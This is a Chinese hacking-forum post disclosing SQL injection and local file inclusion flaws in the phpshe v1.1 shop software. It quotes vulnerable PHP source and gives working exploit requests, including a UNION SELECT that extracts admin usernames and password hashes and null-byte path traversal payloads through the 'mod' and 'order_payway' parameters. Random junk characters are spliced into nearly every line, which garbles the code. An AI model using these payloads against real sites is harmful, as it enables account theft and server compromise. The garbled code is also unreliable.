找回密码
 立即注册
查看: 2945|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/* i3 c6 t& P' w
/* Phpshe v1.1 Vulnerability
, Q( B) B" J# P8 c, R' T/* ========================
+ r- a. i- @" [6 L# F- R/* By: : Kn1f35 d( `/ a# p% ?5 e) \# M
/* E-Mail : 681796@qq.com
2 _% r8 o7 G6 n3 q' p$ r7 c/*******************************************************/
0 I8 J- W/ ?  x) Q+ t, c* R: H0×00 整体大概参数传输3 O" F% R8 V: \  v
+ @: D6 r6 `1 _7 n

3 y" v- f+ h2 Y8 K) C3 Y) E

& _/ Q: U+ G9 M1 I; Q//common.php1 n- m2 V1 j4 Q3 R
if (get_magic_quotes_gpc()) {
/ D- W/ O# c% N!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
& K0 y6 q2 f" Z- t; U!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
7 R, X8 k5 g# Z) ^}
5 a1 S2 ]7 o& M" ^else {
& L; ~0 x- r2 d" a, i!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ d, p/ Y1 @$ J7 n! H$ q9 c( }& J- s!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');( q  i" s. g/ y
}
7 o' e/ n& o' ~" d! E9 n; ?session_start();
! t5 [8 L+ [0 g$ E' `' `. I!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');& \0 z6 G( f1 P% w) m# O' O1 N
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');3 {4 _' I3 F$ H9 p

3 U$ @4 M5 @) G, G0×01 包含漏洞4 f2 W3 ]# X( h

1 |  Y: U& A! M, p$ O3 g
& W, r$ ]4 K" f  Y5 a
//首页文件6 n# b. y1 w& v* F9 Y
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
6 a% m5 ^. a& L- ninclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
# R( I; f2 E1 v  cpe_result();- ]* ?6 O+ y) w4 s/ v8 K- j6 l
?>
$ L# G: N4 R, K% G) L//common 文件 第15行开始7 P& l( c3 X( Z2 D/ g4 k* L6 z  X
url路由配置
: Z3 Y( W- S% \- s* I$module = $mod = $act = 'index';
) i: C+ Y4 ~& o, n! E) J$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);" f: u: A) y' m
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);  r# ]! I$ t" {6 D5 {, w8 D0 }
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);6 l6 F& r) g, c$ f9 t
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
& }* c, m9 E$ Y/ a6 n) N; Z5 d5 {


; P/ P4 m, K; r # C& a8 i& d% Y: ^1 s$ b) @
0×02 搜索注入. ^- ?% D! [4 I, ~$ t( n
' f9 a, G* N0 f5 S
<code id="code2">

//product.php文件
* u( D: \6 E; t  P/ b$ pcase 'list':- S0 n8 U0 O+ v3 G
$category_id = intval($id);
& n" r0 s: ?9 r$info = $db->pe_select('category', array('category_id'=>$category_id));/ [3 S4 i' ^; W9 g
//搜索7 }! A# l" T2 g) f: @
$sqlwhere = " and `product_state` = 1";
8 p0 `0 A; [2 y9 m& o# g3 U" Ipe_lead('hook/category.hook.php');4 H6 V& K# b2 v7 s5 u7 N  S
if ($category_id) {& b- u. o2 u0 g8 t5 @
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";5 g' z5 `! ]6 s2 E. R
}
& s( Q8 v/ k5 {8 ], C' B/ a$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
% ]) p6 d8 @5 |* }if ($_g_orderby) {. l9 o% \9 R! s. f' u
$orderby = explode('_', $_g_orderby);
' N; c+ w$ L+ S; z# U$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";6 U' ?3 @' ~( p8 }' k/ T
}
  v3 D0 |0 t- R: velse {, P: r" H2 r3 O* Y7 ^
$sqlwhere .= " order by `product_id` desc";
) W7 ~7 @2 r; \# s4 V; R}4 t9 I" Y" Y4 F; m  D6 b' T7 a
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 t& ]% {. ~8 o: L8 _//热卖排行
% q9 I& g9 X  B9 D6 G  E3 \8 b$product_hotlist = product_hotlist();
  T# J. H& [' [1 l//当前路径6 _/ h+ T' L3 D- R/ N* \
$nowpath = category_path($category_id);' J% [; X: z$ T* E+ A
$seo = pe_seo($info['category_name']);! o% N) X& o3 L, N" @: s
include(pe_tpl('product_list.html'));
7 O* g8 t9 \( x; P$ o* q  `//跟进selectall函数库
0 x" ?1 X, Y2 j3 [9 C- A) Fpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())# B6 u4 I' T/ x; n9 }- `
{9 K& ?. k" b& p) \6 G- Q+ Q) G
//处理条件语句3 E/ B- M+ [6 c, X! @" X7 i1 i
$sqlwhere = $this->_dowhere($where);
( w6 B* [6 ~- |+ G: A' B4 n& Q. breturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
$ h- w- n, j- u! w  j( K}
4 T) @% y" m- p0 @) f/ v9 O+ _//exp
" Y' A2 R% R1 o; y% _product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 r$ E3 x1 Q9 B& A

</code>
' v0 C: a  y' e$ z7 d
! E2 c' U' {- J. D0×03 包含漏洞2& Q5 o" s$ o# j2 m! U
# O9 s" p4 L. ]
<code id="code3">

//order.php

case 'pay':

' I' I7 N+ D% |$ c& {" B+ r! D0 e
$order_id = pe_dbhold($_g_id);

, u2 k1 l$ C1 D6 j) a' x, o
$cache_payway = cache::get('payway');


( d, V1 u% V- Y0 ]8 Dforeach($cache_payway as $k => $v) {


9 z! t$ q4 P0 k- {, y/ a- h$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

) l- E9 i8 b, P3 Z  F3 w  ~- a
if ($k == 'bank') {

' |! G0 G1 u" U3 T5 y/ K9 o
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


5 s! I/ c6 N/ H' J' i}

  ~, U& F) m" E* a6 G, D
}


- n& h* a8 J5 T/ N$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


6 N# ^, }1 }% b!$order['order_id'] && pe_error('订单号错误...');

, @; @& `. u" Q9 J# W- r3 E2 p# G
if (isset($_p_pesubmit)) {


; q4 a; H1 r( a/ z% Oif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


7 A* G  n4 o6 k2 r- u$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

% B5 l  i3 ]9 P% `7 T
foreach ($info_list as $v) {

3 L" f: P3 z) L, P+ C+ S9 S
$order['order_name'] .= "{$v['product_name']};";
% G( r6 s7 }( W1 u7 n$ p- u


% O' E- v8 R) {" x}

' Q* T, @1 @- r" @0 R
echo '正在为您连接支付网站,请稍后...';


; ^( V. g3 s/ n& @' g$ Ninclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

0 n- g( Y  c6 S. T" @$ r  w" G8 V
}//当一切准备好的时候就可以进行"鸡肋包含了"


3 D7 @# l5 M! c( f: melse {


  V% N5 k0 d5 w/ b# `' npe_error('支付错误...');

; ?& a9 ]. _0 X# t
}


$ ^' I( `' c# ]. E% d}

6 X# U2 B# M& q% l
$seo = pe_seo('选择支付方式');


( H9 C/ V7 I; E# J* @include(pe_tpl('order_pay.html'));

4 J$ ?6 ~% a4 J3 X
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
- y4 H& i" f3 \" bhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表